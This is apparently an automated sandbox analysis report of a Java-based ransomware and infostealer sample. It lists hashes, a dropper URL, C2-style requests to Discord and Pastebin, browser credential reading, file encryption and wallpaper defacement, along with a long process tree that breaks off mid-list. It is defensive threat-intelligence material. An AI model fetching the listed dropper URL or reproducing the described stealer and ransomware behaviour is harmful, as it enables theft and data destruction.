25b893a98ec19619c227699b54a71ad99230350a01173fc7a8364fdcbe84e67b

Analysis

max time kernel
453s
max time network
454s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
06/04/2024, 01:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

additionallibraries.jar
Size

106KB
MD5

d58652cf75e6e4fcbbdbacd86dffc5f0
SHA1

e33e3c4483f7db120fb7b74f192f168a2fea2000
SHA256

25b893a98ec19619c227699b54a71ad99230350a01173fc7a8364fdcbe84e67b
SHA512

2582e03a54137072ac896af0c2e1aabff961c552e613e00b45c8aeb674c5491ae66993eaf18ad8bce854ef0a084cb8bae41388714397b559d01768251e85590d
SSDEEP

3072:z7P+SAygBvkDssqVNJk7dXJmuIYS1kTF5vsXbIBCj:nP+SsBvkuAXJdNJJCbIMj

Score

10^/10

ransomware spyware stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://i.imgur.com/3rXsvma.png

Signatures

Renames multiple (115) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Blocklisted process makes network request 4 IoCs

flow	pid	Process
890	6724	powershell.exe
894	6724	powershell.exe
902	8576	powershell.exe
912	6500	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 64 IoCs

pid	Process
7664	aescrypt.exe
6656	aescrypt.exe
5988	aescrypt.exe
6152	aescrypt.exe
6148	aescrypt.exe
6456	aescrypt.exe
7936	aescrypt.exe
8160	aescrypt.exe
7332	aescrypt.exe
7364	aescrypt.exe
7780	aescrypt.exe
7816	aescrypt.exe
7948	aescrypt.exe
2712	aescrypt.exe
7404	aescrypt.exe
4024	aescrypt.exe
2488	aescrypt.exe
7868	aescrypt.exe
7036	aescrypt.exe
6576	aescrypt.exe
6616	aescrypt.exe
7608	aescrypt.exe
7640	aescrypt.exe
7764	aescrypt.exe
8064	aescrypt.exe
7284	aescrypt.exe
7504	aescrypt.exe
7524	aescrypt.exe
7020	aescrypt.exe
6288	aescrypt.exe
6336	aescrypt.exe
6420	aescrypt.exe
7672	aescrypt.exe
7792	aescrypt.exe
9000	aescrypt.exe
6168	aescrypt.exe
6184	aescrypt.exe
6228	aescrypt.exe
6312	aescrypt.exe
5524	aescrypt.exe
5600	aescrypt.exe
5684	aescrypt.exe
5792	aescrypt.exe
6140	aescrypt.exe
5920	aescrypt.exe
5496	aescrypt.exe
5508	aescrypt.exe
5640	aescrypt.exe
5512	aescrypt.exe
6360	aescrypt.exe
6404	aescrypt.exe
6532	aescrypt.exe
6556	aescrypt.exe
6856	aescrypt.exe
5532	aescrypt.exe
5616	aescrypt.exe
5772	aescrypt.exe
5796	aescrypt.exe
6036	aescrypt.exe
6268	aescrypt.exe
9020	aescrypt.exe
9024	aescrypt.exe
1056	aescrypt.exe
1020	aescrypt.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs

Web Service

T1102

flow	ioc
902	discord.com
910	discord.com
893	raw.githubusercontent.com
894	raw.githubusercontent.com
897	pastebin.com
898	pastebin.com
900	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
904	api.ipify.org
905	api.ipify.org

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Roaming\\temp.png"	powershell.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
8040	timeout.exe

Kills process with taskkill 12 IoCs

evasion

pid	Process
8948	taskkill.exe
6332	taskkill.exe
4996	taskkill.exe
7496	taskkill.exe
8212	taskkill.exe
8008	taskkill.exe
7956	taskkill.exe
4100	taskkill.exe
444	taskkill.exe
712	taskkill.exe
8912	taskkill.exe
6376	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings	firefox.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\Downloads\Ransomware.bat:Zone.Identifier	firefox.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
7940	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
6724	powershell.exe
6724	powershell.exe
8576	powershell.exe
8576	powershell.exe
8740	powershell.exe
8740	powershell.exe
6500	powershell.exe
6500	powershell.exe
6068	powershell.exe
6068	powershell.exe

Suspicious use of AdjustPrivilegeToken 62 IoCs

description	pid	Process
Token: SeDebugPrivilege	2084	firefox.exe
Token: SeDebugPrivilege	2084	firefox.exe
Token: SeDebugPrivilege	6724	powershell.exe
Token: SeDebugPrivilege	8576	powershell.exe
Token: SeDebugPrivilege	8740	powershell.exe
Token: SeDebugPrivilege	1608	whoami.exe
Token: SeIncreaseQuotaPrivilege	2328	WMIC.exe
Token: SeSecurityPrivilege	2328	WMIC.exe
Token: SeTakeOwnershipPrivilege	2328	WMIC.exe
Token: SeLoadDriverPrivilege	2328	WMIC.exe
Token: SeSystemProfilePrivilege	2328	WMIC.exe
Token: SeSystemtimePrivilege	2328	WMIC.exe
Token: SeProfSingleProcessPrivilege	2328	WMIC.exe
Token: SeIncBasePriorityPrivilege	2328	WMIC.exe
Token: SeCreatePagefilePrivilege	2328	WMIC.exe
Token: SeBackupPrivilege	2328	WMIC.exe
Token: SeRestorePrivilege	2328	WMIC.exe
Token: SeShutdownPrivilege	2328	WMIC.exe
Token: SeDebugPrivilege	2328	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2328	WMIC.exe
Token: SeRemoteShutdownPrivilege	2328	WMIC.exe
Token: SeUndockPrivilege	2328	WMIC.exe
Token: SeManageVolumePrivilege	2328	WMIC.exe
Token: 33	2328	WMIC.exe
Token: 34	2328	WMIC.exe
Token: 35	2328	WMIC.exe
Token: 36	2328	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2328	WMIC.exe
Token: SeSecurityPrivilege	2328	WMIC.exe
Token: SeTakeOwnershipPrivilege	2328	WMIC.exe
Token: SeLoadDriverPrivilege	2328	WMIC.exe
Token: SeSystemProfilePrivilege	2328	WMIC.exe
Token: SeSystemtimePrivilege	2328	WMIC.exe
Token: SeProfSingleProcessPrivilege	2328	WMIC.exe
Token: SeIncBasePriorityPrivilege	2328	WMIC.exe
Token: SeCreatePagefilePrivilege	2328	WMIC.exe
Token: SeBackupPrivilege	2328	WMIC.exe
Token: SeRestorePrivilege	2328	WMIC.exe
Token: SeShutdownPrivilege	2328	WMIC.exe
Token: SeDebugPrivilege	2328	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2328	WMIC.exe
Token: SeRemoteShutdownPrivilege	2328	WMIC.exe
Token: SeUndockPrivilege	2328	WMIC.exe
Token: SeManageVolumePrivilege	2328	WMIC.exe
Token: 33	2328	WMIC.exe
Token: 34	2328	WMIC.exe
Token: 35	2328	WMIC.exe
Token: 36	2328	WMIC.exe
Token: SeDebugPrivilege	4996	taskkill.exe
Token: SeDebugPrivilege	444	taskkill.exe
Token: SeDebugPrivilege	712	taskkill.exe
Token: SeDebugPrivilege	7496	taskkill.exe
Token: SeDebugPrivilege	8212	taskkill.exe
Token: SeDebugPrivilege	8008	taskkill.exe
Token: SeDebugPrivilege	8912	taskkill.exe
Token: SeDebugPrivilege	7956	taskkill.exe
Token: SeDebugPrivilege	4100	taskkill.exe
Token: SeDebugPrivilege	8948	taskkill.exe
Token: SeDebugPrivilege	6332	taskkill.exe
Token: SeDebugPrivilege	6376	taskkill.exe
Token: SeDebugPrivilege	6500	powershell.exe
Token: SeDebugPrivilege	6068	powershell.exe

Suspicious use of FindShellTrayWindow 13 IoCs

pid	Process
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe

Suspicious use of SendNotifyMessage 11 IoCs

pid	Process
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe
2084	firefox.exe
8740	powershell.exe
8740	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2272 wrote to memory of 2084	2272	firefox.exe	88
PID 2272 wrote to memory of 2084	2272	firefox.exe	88
PID 2272 wrote to memory of 2084	2272	firefox.exe	88
PID 2272 wrote to memory of 2084	2272	firefox.exe	88
PID 2272 wrote to memory of 2084	2272	firefox.exe	88
PID 2272 wrote to memory of 2084	2272	firefox.exe	88
PID 2272 wrote to memory of 2084	2272	firefox.exe	88
PID 2272 wrote to memory of 2084	2272	firefox.exe	88
PID 2272 wrote to memory of 2084	2272	firefox.exe	88
PID 2272 wrote to memory of 2084	2272	firefox.exe	88
PID 2272 wrote to memory of 2084	2272	firefox.exe	88
PID 2084 wrote to memory of 5004	2084	firefox.exe	90
PID 2084 wrote to memory of 5004	2084	firefox.exe	90
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 4052	2084	firefox.exe	92
PID 2084 wrote to memory of 1896	2084	firefox.exe	93
PID 2084 wrote to memory of 1896	2084	firefox.exe	93
PID 2084 wrote to memory of 1896	2084	firefox.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\additionallibraries.jar
1⤵
PID:1628

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2272
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - NTFS ADS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2084
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.0.1447699782\1527101413" -parentBuildID 20221007134813 -prefsHandle 1892 -prefMapHandle 1884 -prefsLen 20749 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {85c5a12e-4db2-4836-ab11-f2b992fc29ca} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 1976 124cfe06b58 gpu
    3⤵
    PID:5004
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.1.1295635328\1581044818" -parentBuildID 20221007134813 -prefsHandle 2352 -prefMapHandle 2340 -prefsLen 20785 -prefMapSize 233444 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {314381c1-b3ff-4458-831c-57d27a2784bc} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 2380 124cebfa258 socket
    3⤵
    - Checks processor information in registry
    PID:4052
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.2.324103111\1903318298" -childID 1 -isForBrowser -prefsHandle 3280 -prefMapHandle 3276 -prefsLen 20888 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {66496033-8421-40bf-bd50-1df2b43193c8} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 3288 124d2dec258 tab
    3⤵
    PID:1896
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.3.367743434\1984433819" -childID 2 -isForBrowser -prefsHandle 3212 -prefMapHandle 3192 -prefsLen 26066 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f966935f-b86d-42cf-aad9-3e241793cf79} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 3588 124c2466b58 tab
    3⤵
    PID:3916
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.4.1432800074\534917897" -childID 3 -isForBrowser -prefsHandle 4296 -prefMapHandle 1732 -prefsLen 26125 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {023a9d54-9a3b-4262-ae69-820e309da2c7} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 4344 124d48d2758 tab
    3⤵
    PID:460
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.5.358478476\1168490322" -childID 4 -isForBrowser -prefsHandle 5188 -prefMapHandle 5196 -prefsLen 26206 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {638eb596-d7f9-4ab1-8804-af10d85d37d5} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 5208 124c245f858 tab
    3⤵
    PID:3764
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.6.1094643792\940579758" -childID 5 -isForBrowser -prefsHandle 5328 -prefMapHandle 5332 -prefsLen 26206 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2caad67a-c9c5-4283-91e4-6a0ca0474177} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 5412 124d2d55258 tab
    3⤵
    PID:1512
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.7.1216658321\744804854" -childID 6 -isForBrowser -prefsHandle 5548 -prefMapHandle 5552 -prefsLen 26206 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e77e1a7c-f94e-480a-8fbd-15d2d05b86f9} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 5136 124d2d55858 tab
    3⤵
    PID:384
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.8.1149128377\1879301158" -childID 7 -isForBrowser -prefsHandle 2828 -prefMapHandle 1720 -prefsLen 26725 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b9cc4d41-9920-4384-b76c-ac99550a83a0} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 3208 124d640d558 tab
    3⤵
    PID:3332
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.9.756065283\1417015408" -childID 8 -isForBrowser -prefsHandle 9760 -prefMapHandle 5988 -prefsLen 26725 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6b779332-6223-4875-a9d3-233c2b3e1483} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 9704 124c4282358 tab
    3⤵
    PID:6076
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.10.1352509319\1905736177" -childID 9 -isForBrowser -prefsHandle 9576 -prefMapHandle 9572 -prefsLen 26725 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d0be4d6c-b60d-475e-88c5-dcbdf4d3dbe2} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 9584 124c4280b58 tab
    3⤵
    PID:6084
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.11.1347003288\542983649" -childID 10 -isForBrowser -prefsHandle 9508 -prefMapHandle 9528 -prefsLen 26725 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {491ad351-555d-42a8-9627-5aa7cb045905} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 9532 124c4283558 tab
    3⤵
    PID:5520
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.12.1029185987\1292923423" -childID 11 -isForBrowser -prefsHandle 9172 -prefMapHandle 9168 -prefsLen 26725 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {af6ec393-714a-49f5-a8a5-06a8328da8dd} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 9180 124d37ea358 tab
    3⤵
    PID:5536
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.13.1696852565\1923767885" -parentBuildID 20221007134813 -prefsHandle 9456 -prefMapHandle 9432 -prefsLen 26765 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e48c0476-8440-49ff-988c-23cbd766313e} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 9468 124c4282c58 rdd
    3⤵
    PID:5648
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.14.74227287\752687875" -parentBuildID 20221007134813 -sandboxingKind 1 -prefsHandle 9172 -prefMapHandle 9476 -prefsLen 26765 -prefMapSize 233444 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4b32fbe4-2cef-4dff-8723-54dd3d745502} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 9572 124d8651058 utility
    3⤵
    PID:5696
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.15.1479724307\1440683792" -childID 12 -isForBrowser -prefsHandle 8484 -prefMapHandle 8488 -prefsLen 26765 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {75082580-61bc-4743-b2fa-e4263c206124} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 8476 124d8a85b58 tab
    3⤵
    PID:5880
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.16.1853692375\2011995318" -childID 13 -isForBrowser -prefsHandle 8180 -prefMapHandle 5972 -prefsLen 26765 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {815a754e-0607-46b6-9cce-9660e259f92a} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 8164 124d82e7258 tab
    3⤵
    PID:4368
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.17.1166687240\1542470919" -childID 14 -isForBrowser -prefsHandle 8020 -prefMapHandle 8016 -prefsLen 26765 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b08abe6a-7717-4b2d-8e8c-c1e780bf7840} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 8024 124d82e9c58 tab
    3⤵
    PID:3812
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.18.839223750\1737141013" -childID 15 -isForBrowser -prefsHandle 7828 -prefMapHandle 7824 -prefsLen 26765 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {31d3e24d-bbdf-4d54-bda7-92637f7229e7} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 7832 124d82e7e58 tab
    3⤵
    PID:5372
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.19.1067869109\96118366" -childID 16 -isForBrowser -prefsHandle 7596 -prefMapHandle 7592 -prefsLen 26765 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8b42b3f7-facc-4ae4-bc05-e29673c551a1} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 7604 124d97ac058 tab
    3⤵
    PID:3404
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.20.267488305\173309228" -childID 17 -isForBrowser -prefsHandle 7488 -prefMapHandle 7484 -prefsLen 26765 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8b8aab23-82c3-4c92-b747-107d77f36c03} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 7496 124d97ac658 tab
    3⤵
    PID:6024
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.21.1239234244\454076686" -childID 18 -isForBrowser -prefsHandle 8260 -prefMapHandle 8156 -prefsLen 26765 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6f667ecd-0a8b-42c5-912d-9f1b640a4ed0} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 7068 124da5e1c58 tab
    3⤵
    PID:6588
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.22.1831616597\904248540" -childID 19 -isForBrowser -prefsHandle 6988 -prefMapHandle 2872 -prefsLen 26765 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d2650d74-083b-414f-adab-894b2742831e} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 6976 124da791d58 tab
    3⤵
    PID:6644
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.23.225495552\1527601582" -childID 20 -isForBrowser -prefsHandle 6956 -prefMapHandle 6960 -prefsLen 26765 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2d4e53a0-e451-4f46-84b2-5abe2f8b7ff6} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 7300 124da975f58 tab
    3⤵
    PID:6656
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.24.273139109\476863751" -childID 21 -isForBrowser -prefsHandle 6712 -prefMapHandle 6812 -prefsLen 26765 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4316a8f3-746b-4e56-b300-c53d9661c616} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 6520 124dadc9458 tab
    3⤵
    PID:6756
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.25.2113860275\1238793300" -childID 22 -isForBrowser -prefsHandle 6376 -prefMapHandle 6372 -prefsLen 26765 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {38258b27-67ce-48c6-a07f-1b7c668cd372} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 6380 124da410158 tab
    3⤵
    PID:6792
- - C:\Program Files\Mozilla Firefox\firefox.exe
